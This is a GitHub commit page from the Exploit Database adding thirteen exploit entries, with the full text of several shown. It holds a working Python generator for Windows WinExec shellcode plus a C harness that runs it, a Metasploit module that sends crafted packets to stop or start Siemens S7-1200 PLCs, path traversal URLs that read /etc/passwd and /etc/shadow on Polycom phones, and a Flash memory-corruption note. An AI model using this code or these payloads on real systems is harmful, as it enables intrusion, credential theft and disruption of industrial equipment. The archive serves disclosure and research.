Skip to content

Commit 538f42e

Browse files
author
Offensive Security
committed
DB: 2015-12-15
13 new exploits
1 parent 855936a commit 538f42e

14 files changed

Lines changed: 1223 additions & 0 deletions

File tree

‎files.csv‎

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -35219,3 +35219,16 @@ id,file,description,date,author,platform,type,port
3521935219
38956,platforms/php/webapps/38956.txt,"Command School Student Management System /sw/backup/backup_ray2.php Database Backup Direct Request Information Disclosure",2014-01-07,"AtT4CKxT3rR0r1ST ",php,webapps,0
3522035220
38957,platforms/php/webapps/38957.html,"Command School Student Management System /sw/admin_change_password.php Admin Password Manipulation CSRF",2014-01-07,"AtT4CKxT3rR0r1ST ",php,webapps,0
3522135221
38958,platforms/php/webapps/38958.html,"Command School Student Management System /sw/add_topic.php Topic Creation CSRF",2014-01-07,"AtT4CKxT3rR0r1ST ",php,webapps,0
35222+
38959,platforms/generator/shellcode/38959.py,"Windows XP-10 - Null-Free WinExec Shellcode (Python)",2015-12-13,B3mB4m,generator,shellcode,0
35223+
38965,platforms/php/webapps/38965.txt,"ECommerceMajor - (productdtl.php_ prodid param) SQL Injection Vulnerability",2015-12-14,"Rahul Pratap Singh",php,webapps,80
35224+
38966,platforms/php/webapps/38966.txt,"WordPress Admin Management Xtended Plugin 2.4.0 - Privilege escalation",2015-12-14,"Kacper Szurek",php,webapps,80
35225+
38964,platforms/hardware/remote/38964.rb,"Siemens Simatic S7 1200 CPU Command Module (MSF)",2015-12-14,"Nguyen Manh Hung",hardware,remote,102
35226+
38968,platforms/windows/remote/38968.txt,"Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132)",2015-12-14,"Google Security Research",windows,remote,0
35227+
38969,platforms/multiple/dos/38969.txt,"Adobe Flash Type Confusion in IExternalizable.readExternal When Performing Local Serialization",2015-12-14,"Google Security Research",multiple,dos,0
35228+
38970,platforms/multiple/dos/38970.txt,"Adobe Flash Type Confusion in Serialization with ObjectEncoder.dynamicPropertyWriter",2015-12-14,"Google Security Research",multiple,dos,0
35229+
38971,platforms/hardware/webapps/38971.txt,"Polycom VVX-Series Business Media Phones - Path Traversal Vulnerability",2015-12-14,"Jake Reynolds",hardware,webapps,80
35230+
38972,platforms/windows/dos/38972.html,"Internet Explorer 11 MSHTML!CObjectElement Use-After-Free Vulnerability (MS15-124)",2015-12-14,"Moritz Jodeit",windows,dos,0
35231+
38973,platforms/multiple/remote/38973.rb,"Legend Perl IRC Bot Remote Code Execution",2015-12-14,metasploit,multiple,remote,0
35232+
38974,platforms/multiple/remote/38974.rb,"Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution",2015-12-14,metasploit,multiple,remote,0
35233+
38975,platforms/php/webapps/38975.txt,"Bitrix bitrix.mpbuilder Module 1.0.10 - Local File Inclusion",2015-12-14,"High-Tech Bridge SA",php,webapps,80
35234+
38976,platforms/php/webapps/38976.txt,"Bitrix bitrix.xscan Module 1.0.3 - Directory Traversal",2015-12-14,"High-Tech Bridge SA",php,webapps,80

‎platforms/generator/shellcode/38959.py‎

Lines changed: 94 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,94 @@
1+
#All Windows Null-Free WinExec Shellcode
2+
3+
"""
4+
#Coded by B3mB4m
5+
#Concat : b3mb4m@tuta.io
6+
#Home : b3mb4m.blogspot.com
7+
#10.12.2015
8+
Tested on :
9+
Windows XP/SP3 x86
10+
Windows 7 Ultimate x64
11+
Windows 8.1 Pro Build 9600 x64
12+
Windows 10 Home x64
13+
-This shellcode NOT using GetProcAddress function-
14+
-With this python script you can create ur own shellcode-
15+
-This script belongs to shellsploit project-
16+
-https://github.com/b3mb4m/Shellsploit-
17+
"""
18+
19+
20+
21+
def WinExec( command, fill=None):
22+
from re import findall
23+
fill = "31c9b957696e45eb0431c9eb0031c"
24+
fill += "031db31d231ff31f6648b7b308b7f0"
25+
fill += "c8b7f1c8b47088b77208b3f807e0c3"
26+
fill += "375f289c703783c8b577801c28b7a2"
27+
fill += "001c789dd81f957696e45753b8b34a"
28+
fill += "f01c645390e75f68b7a2401c7668b2"
29+
fill += "c6f8b7a1c01c78b7caffc01c789d9b1ff53e2fd"
30+
if len(command) == 4:
31+
stack = "%s" % (command.encode('hex'))
32+
data = findall("..?", stack)
33+
fill += "68"+"".join(data)
34+
else:
35+
if len(command)%4 == 3:
36+
padd = "\x20"
37+
elif len(command)%4 == 2:
38+
padd = "\x20"*2
39+
elif len(command)%4 == 1:
40+
padd = "\x20"*3
41+
else:
42+
padd = ""
43+
command = command + padd
44+
fixmesempai = findall('....?', command)
45+
for x in fixmesempai[::-1]:
46+
first = str(x[::-1].encode("hex"))
47+
second = findall("..?", first)[::-1]
48+
fill += "68"+"".join(second)
49+
fill += "89e2415152ffd7e886ffffff8b34af0"
50+
fill += "1c645813e4578697475f2817e045072"
51+
fill += "6f6375e98b7a2401c7668b2c6f8b7a1c"
52+
fill += "01c78b7caffc01c731c951ffd7"
53+
54+
from random import randint
55+
name = str(randint(99999,99999999))+".txt"
56+
with open(name, "w") as exploit:
57+
exploit.write("\\x"+"\\x".join(findall("..?", fill)))
58+
exploit.close()
59+
60+
print "\n\nLength : %s" % len(findall("..?", fill))
61+
print "File : %s\n" % name
62+
print "\n\\x"+"\\x".join(findall("..?", fill))
63+
64+
65+
if __name__ == '__main__':
66+
from sys import argv
67+
if len(argv) < 2:
68+
print "\nUsage : python exploit.py 'command'\n"
69+
else:
70+
WinExec(argv[1])
71+
72+
73+
74+
"""
75+
#include <stdlib.h>
76+
#include <stdio.h>
77+
#include <string.h>
78+
#include <windows.h>
79+
80+
//gcc shell.c -o shell.exe
81+
82+
int main(void){
83+
char *shellcode = "SHELLCODE";
84+
DWORD mypage;
85+
BOOL ret = VirtualProtect (shellcode, strlen(shellcode),
86+
PAGE_EXECUTE_READWRITE, &mypage);
87+
88+
if (!ret) {
89+
printf ("VirtualProtect Failed ..\n");
90+
return EXIT_FAILURE;}
91+
printf("strlen(shellcode)=%d\n", strlen(shellcode));
92+
((void (*)(void))shellcode)();
93+
}
94+
"""

‎platforms/hardware/remote/38964.rb‎

Lines changed: 225 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,225 @@
1+
# Exploit Title: Simatic S7 1200 CPU command module
2+
# Date: 15-12-2015
3+
# Exploit Author: Nguyen Manh Hung
4+
# Vendor Homepage: http://www.siemens.com/
5+
# Tested on: Siemens Simatic S7-1214C
6+
# CVE : None
7+
require 'msf/core'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Exploit::Remote::Tcp
12+
include Msf::Auxiliary::Scanner
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name'=> 'Simatic S7-1200 CPU START/STOP Module',
16+
'Description' => %q{
17+
Update 2015
18+
The Siemens Simatic S7-1200 S7 CPU start and stop functions over ISO-TSAP.
19+
},
20+
'Author' => 'Nguyen Manh Hung <tdh.mhung@gmail.com>',
21+
'License' => MSF_LICENSE,
22+
'References' =>
23+
[
24+
[ 'nil' ],
25+
],
26+
'Version' => '$Revision$',
27+
'DisclosureDate' => '11-2015'
28+
))
29+
30+
register_options(
31+
[
32+
Opt::RPORT(102),
33+
OptInt.new('FUNC',[true,'func',1]),
34+
OptString.new('MODE', [true, 'Mode select:
35+
START -- start PLC
36+
STOP -- stop PLC
37+
SCAN -- PLC scanner',"SCAN"]),
38+
], self.class)
39+
end
40+
####################################################################################
41+
def packet()
42+
packets=[ #dua tren TIA portal thay cho hello plc
43+
"\x03\x00\x00\x23\x1e\xe0\x00\x00"+
44+
"\x00\x06\x00\xc1\x02\x06\x00\xc2"+
45+
"\x0f\x53\x49\x4d\x41\x54\x49\x43"+
46+
"\x2d\x52\x4f\x4f\x54\x2d\x45\x53"+
47+
"\xc0\x01\x0a",
48+
49+
#session debug
50+
"\x03\x00\x00\xc0\x02\xf0\x80\x72"+
51+
"\x01\x00\xb1\x31\x00\x00\x04\xca"+
52+
"\x00\x00\x00\x02\x00\x00\x01\x20"+
53+
"\x36\x00\x00\x01\x1d\x00\x04\x00"+
54+
"\x00\x00\x00\x00\xa1\x00\x00\x00"+
55+
"\xd3\x82\x1f\x00\x00\xa3\x81\x69"+
56+
"\x00\x15\x16\x53\x65\x72\x76\x65"+
57+
"\x72\x53\x65\x73\x73\x69\x6f\x6e"+
58+
"\x5f\x43\x43\x39\x43\x33\x39\x33"+
59+
"\x44\xa3\x82\x21\x00\x15\x0b\x31"+
60+
"\x3a\x3a\x3a\x36\x2e\x30\x3a\x3a"+
61+
"\x3a\x12\xa3\x82\x28\x00\x15\x0d"+
62+
"\x4f\x4d\x53\x2b\x20\x44\x65\x62"+
63+
"\x75\x67\x67\x65\x72\xa3\x82\x29"+
64+
"\x00\x15\x00\xa3\x82\x2a\x00\x15"+
65+
"\x00\xa3\x82\x2b\x00\x04\x84\x80"+
66+
"\x80\x80\x00\xa3\x82\x2c\x00\x12"+
67+
"\x11\xe1\xa3\x00\xa3\x82\x2d\x00"+
68+
"\x15\x00\xa1\x00\x00\x00\xd3\x81"+
69+
"\x7f\x00\x00\xa3\x81\x69\x00\x15"+
70+
"\x15\x53\x75\x62\x73\x63\x72\x69"+
71+
"\x70\x74\x69\x6f\x6e\x43\x6f\x6e"+
72+
"\x74\x61\x69\x6e\x65\x72\xa2\xa2"+
73+
"\x00\x00\x00\x00\x72\x01\x00\x00",
74+
75+
######
76+
"\x03\x00\x00\x77\x02\xf0\x80\x72"+#p1
77+
"\x02\x00\x68\x31\x00\x00\x05\x42"+
78+
"\x00\x00\x00\x03\x00\x00\x03\xff"+
79+
"\x34\x00\x00\x03\xff\x01\x01\x82"+
80+
"\x32\x01\x00\x17\x00\x00\x01\x3a"+
81+
"\x82\x3b\x00\x04\x81\x40\x82\x3c"+
82+
"\x00\x04\x81\x40\x82\x3d\x00\x04"+
83+
"\x00\x82\x3e\x00\x04\x84\x80\xc0"+
84+
"\x40\x82\x3f\x00\x15\x00\x82\x40"+
85+
"\x00\x15\x05\x32\x3b"+
86+
"\x35\x34\x34\x82\x41"+
87+
"\x00\x03\x00\x03\x00\x00\x00\x00"+#2
88+
"\x04\xe8\x89\x69\x00\x12\x00\x00"+
89+
"\x00\x00\x89\x6a\x00\x13\x00\x89"+
90+
"\x6b\x00\x04\x00\x00\x00\x00\x00"+
91+
"\x00\x72\x02\x00\x00",
92+
#unknown
93+
"\x03\x00\x00\x07\x02\xf0\x00",
94+
#bat dau qua trinh diag
95+
"\x03\x00\x00\x2b\x02\xf0\x80\x72"+
96+
"\x02\x00\x1c\x31\x00\x00\x04\xbb"+
97+
"\x00\x00\x00\x05\x00\x00\x03\xff"+
98+
"\x34\x00\x00\x00\x01\x00\x00\x00"+
99+
"\x00\x00\x00\x00\x00\x00\x00\x72"+
100+
"\x02\x00\x00",
101+
#tiep tuc diag
102+
"\x03\x00\x00\x2b\x02\xf0\x80\x72"+
103+
"\x02\x00\x1c\x31\x00\x00\x04\xbb"+
104+
"\x00\x00\x00\x06\x00\x00\x03\xff"+
105+
"\x34\x00\x00\x00\x02\x00\x01\x01"+
106+
"\x00\x00\x00\x00\x00\x00\x00\x72"+
107+
"\x02\x00\x00",
108+
#truoc start-stop
109+
"\x03\x00\x00\x42\x02\xf0\x80"+
110+
"\x72\x02\x00\x33\x31\x00\x00\x04"+
111+
"\xfc\x00\x00\x00\x07\x00\x00\x03"+
112+
"\xff\x36\x00\x00\x00\x34\x02\x91"+
113+
"\x3d\x9b\x1e\x00\x00\x04\xe8\x89"+
114+
"\x69\x00\x12\x00\x00\x00\x00\x89"+
115+
"\x6a\x00\x13\x00\x89\x6b\x00\x04"+
116+
"\x00\x00\x00\x00\x00\x00\x00\x72"+
117+
"\x02\x00\x00",
118+
#start
119+
"\x03\x00\x00\x43\x02\xf0\x80"+
120+
"\x72\x02\x00\x34\x31\x00\x00\x04"+
121+
"\xf2\x00\x00\x00\x08\x00\x00\x03"+
122+
"\xff\x36\x00\x00\x00\x34\x01\x90"+
123+
"\x77\x00\x08\x03\x00\x00\x04\xe8"+
124+
"\x89\x69\x00\x12\x00\x00\x00\x00"+
125+
"\x89\x6a\x00\x13\x00\x89\x6b\x00"+
126+
"\x04\x00\x00\x00\x00\x00\x00\x00"+
127+
"\x72\x02\x00\x00",
128+
#stop
129+
"\x03\x00\x00\x43\x02\xf0\x80"+
130+
"\x72\x02\x00\x34\x31\x00\x00\x04"+
131+
"\xf2\x00\x00\x00\x08\x00\x00\x03"+
132+
"\xff\x36\x00\x00\x00\x34\x01\x90"+
133+
"\x77\x00\x08\x01\x00\x00\x04\xe8"+
134+
"\x89\x69\x00\x12\x00\x00\x00\x00"+
135+
"\x89\x6a\x00\x13\x00\x89\x6b\x00"+
136+
"\x04\x00\x00\x00\x00\x00\x00\x00"+
137+
"\x72\x02\x00\x00",
138+
]
139+
return packets
140+
end
141+
#############################################################################
142+
def start_PLC(scr)
143+
print_good "mode select: START"
144+
sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc
145+
sock.get_once()
146+
sleep(0.05)
147+
sock.put(packet[7].gsub("\xff",[scr].pack("c")))#send hello plc
148+
#sock.get_once()
149+
dt=sock.get_once(-1, sock.def_read_timeout)
150+
if dt.length.to_i == 30
151+
print_good "PLC---->RUN"
152+
else
153+
a= dt.to_s.gsub(/[\x80-\xff]/," ")
154+
print_error a.to_s.gsub(/[\x00-\x30]/," ")
155+
end
156+
end
157+
#############################################################################
158+
def stop_PLC(scr)
159+
print_good "mode select: STOP"
160+
sock.put(packet[6].gsub("\xff",[scr].pack("c")))#send hello plc
161+
sock.get_once()
162+
sleep(0.05)
163+
sock.put(packet[8].gsub("\xff",[scr].pack("c")))#send hello plc
164+
dt=sock.get_once(-1, sock.def_read_timeout)
165+
if dt.length.to_i == 30
166+
print_good "PLC---->STOP"
167+
else
168+
a= dt.to_s.gsub(/[\x80-\xff]/," ")
169+
print_error a.to_s.gsub(/[\x00-\x30]/," ")
170+
end
171+
end
172+
#############################################################################
173+
def PLC_SCAN(ip)
174+
sock.put(packet[0])#send hello plc
175+
sock.get_once()
176+
sleep(0.05)
177+
sock.put(packet[1])#xin 1 session debug
178+
dt=sock.get_once(-1, sock.def_read_timeout)
179+
sock.put(packet[3])#send hello plc
180+
sock.get_once()
181+
arr=dt.split(/;/)
182+
print_good "#{ip.to_s}: #{arr[2].to_s} : #{arr[3][0..3].to_s}"
183+
end
184+
#############################################################################
185+
def run_host(ip)
186+
mode=datastore['MODE']
187+
func=datastore['FUNC']
188+
connect()
189+
if mode !="scan" && mode!="SCAN"
190+
sock.put(packet[0])#send hello plc
191+
sock.get_once()
192+
sleep(0.05)
193+
sock.put(packet[1])#xin 1 session debug
194+
dt=sock.get_once(-1, sock.def_read_timeout)
195+
sock.put(packet[3])#send hello plc
196+
sock.get_once()
197+
arr=dt.split(/;/)
198+
print_good "#{arr[2].to_s} : #{arr[3][0..3].to_s}"
199+
data=dt.unpack("C*")
200+
a= (data[24]).to_i
201+
b= (data[26]).to_i
202+
scr=a|128
203+
scr1=b|128
204+
#print_line scr.to_s
205+
if arr.length.to_i ==5 #neu lay duoc session
206+
session_i= arr[4][0..4].each_byte.map { |dt| '\x%02x' % dt.to_i }.join
207+
pac=packet[2].gsub("\xff",[scr].pack("c"))
208+
sock.put(pac.gsub("\x35\x34\x34\x82\x41", arr[4][0..4]))
209+
end
210+
sock.put(packet[3])#send uknown packet to plc
211+
sock.get_once()
212+
case mode
213+
when "START" , "start"
214+
start_PLC(scr)
215+
when "STOP" , "stop"
216+
stop_PLC(scr)
217+
else
218+
print_error("Invalid MODE")
219+
end
220+
else
221+
PLC_SCAN(ip)
222+
end
223+
disconnect()
224+
end
225+
end

‎platforms/hardware/webapps/38971.txt‎

Lines changed: 46 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,46 @@
1+
Polycom VVX-Series Business Media Phones Path Traversal Vulnerability
2+
3+
--Summary--
4+
5+
Polycom VVX-series Business Media Phones allow authenticated users to execute file path traversal attacks
6+
7+
# Polycom
8+
# http://www.polycom.com
9+
10+
--Affects--
11+
12+
# Polycom VVX 101, 201, 300, 310, 400, 410, 500, 600, & 1500
13+
# UC Software 4.1.8 and earlier, 5.2.3 and earlier, 5.3.1 and earlier, 5.4.0 and earlier
14+
15+
--Details--
16+
17+
Polycom VVX-series IP phones provide a web administrative interface. Inside this interface we discovered two URLs that exposed a "file=filename" parameters. Due to unsafe file system operations in this interface, it is possible to exploit the following pages, and possibly others, using path traversal attacks:
18+
19+
http://a.b.c.d/Preferences/Ringtone?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
20+
21+
http://a.b.c.d/Preferences/Background?file=.%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow
22+
23+
--Mitigation--
24+
25+
Upgrade to the latest version of UC Software available.
26+
Disable or restrict access to the web interface.
27+
28+
--Timeline--
29+
30+
# 6/16/2015: Notified Polycom about the issue
31+
# 6/17/2015: Polycom responds, indicates it is investigating
32+
# 6/18/2015: Polycom acknowledges vulnerability legitimacy
33+
# 6/26/2015: Polycom waiting on estimate for fix from engineering
34+
# 7/22/2015: Polycom provides with projected timelines for fixes
35+
# 11/24/2015: Polycom confirms all VVX branches are patched
36+
# 12/9/2015: Polycom issues public vulnerability advisory
37+
38+
--References--
39+
40+
https://depthsecurity.com/blog/polycom-vvx-series-business-media-phones-path-traversal-vulnerability
41+
42+
http://supportdocs.polycom.com/PolycomService/support/global/documents/support/documentation/VVX_Path_Traversals_v_1_0.pdf
43+
44+
Jake Reynolds
45+
Partner/Principal Consultant
46+
www.depthsecurity.com

‎platforms/multiple/dos/38969.txt‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
Source: https://code.google.com/p/google-security-research/issues/detail?id=548
2+
3+
If IExternalizable.readExternal is overridden with a value that is not a function, Flash assumes it is a function even though it is not one. This leads to execution of a 'method' outside of the ActionScript object's ActionScript vtable, leading to memory corruption.
4+
5+
A sample swf is attached. ActionScript code is also attached, but it does not compile to the needed to swf. To get the PoC, decompress the swf using flasm -x myswf, and then search for "teadExternal" and change it to "readExternal".
6+
7+
8+
Proof of Concept:
9+
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/38969.zip
10+

0 commit comments

Comments
 (0)